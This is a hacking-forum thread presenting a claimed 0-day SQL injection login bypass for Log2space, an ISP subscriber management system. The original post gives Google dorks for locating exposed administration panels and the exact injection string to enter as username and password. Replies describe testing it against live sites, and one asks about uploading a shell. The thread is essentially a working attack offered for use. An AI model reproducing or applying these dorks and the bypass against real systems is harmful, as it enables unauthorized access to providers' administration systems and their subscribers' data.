[ｍＯｂｉＩｅ]

[img]http://s9.postimg.org/jzubyp2v3/LEGENDS_2_0_DELIMETER.png[/img]

After waiting 3 months and getting no response from the vendor, I'm releasing this 0-day in the name of Specialists | Legends

Log2space – Internet Subscriber Management Software:

Log2space is an Advanced Next Generation Software used by Internet Service Providers for provisioning and management of their subscribers. It is used for complete management and control of all the attributes of different kinds of subscribers / customers.

Vulnerability:

PHP Code


<?php 
# Exploit Title: Log2space CMS | Administration Bypass
# Exploit Author: mObiIe 
# Google Dork/s: 
intext:"Powered by Spacecom Technologies Ltd."
intitle:"Log2Space Administration"
# Date: 10/17/2015
# Vendor: www.spacecom.co.in
# Software: log2space
# Tested on: Win7/Vista


Vulnerability Disclosure:
The vulnerability is located in the `username` and `password` input field values of the `login` module. 
Remote attackers are able to execute own sql commands by manipulation of the GET method request with the vulnerable username and password parameter. 
The request method to inject the sql command is GET and the issue is located on the application-side of the online-service. 
The sql vulnerability allows an attacker to remotly gain unauthorized access to the account system of the content management system.

Request Method(s):
[+] GET
Vulnerable Module(s):
[+] Login
Vulnerable Parameter(s):
[+] username
[+] password

Vulnerability Disclosure Timeline:
==================================
2015-07-17: Vulnerability discovered 
2015-07-21: Vendor contacted
2015-10-17: Public disclosure 


Tutorial:

1.) Google Dork/s:

PHP Code


<?php 
intext:"Powered by Spacecom Technologies Ltd."
intitle:"Log2Space Administration" 


2.) Administration Bypass:

Username: '=''or'
Password: '=''or'

Enjoy! And thanks for viewing my thread. 🤝

[TheUnknownPlague]

cool thread i tested it and it worked idk what i can do with it though

[Armada]

Mother of Vulns, Beautiful 😎🤝

[Cxdde3990xc]

Nice find there!
Will check it out later
Thanks for this

[murgan]

It does not work now! \tried on 11 nov 2015

[Aakash_Choudhary]

Nice thread but not working now :(

[xx 0x0 xx]

it's still working with me :D

[ShopifyExpert]

thanks for this dope 0-day exploit tutorial!

[Ch4Nc3113r]

It still work with me.bw Can you upload shell in these sites?

[saadmrb]

that working , thanks you

[Lʌʏʟᴇ]

nice exploit, but it's not a 0day :p